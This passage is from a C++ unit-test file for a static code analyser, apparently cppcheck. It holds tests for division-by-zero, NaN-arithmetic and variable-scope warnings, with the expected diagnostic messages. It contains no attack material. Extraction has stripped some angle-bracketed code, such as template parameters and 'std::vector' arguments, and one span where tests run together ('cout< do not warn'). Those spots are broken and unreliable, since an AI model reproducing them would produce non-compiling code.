TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. 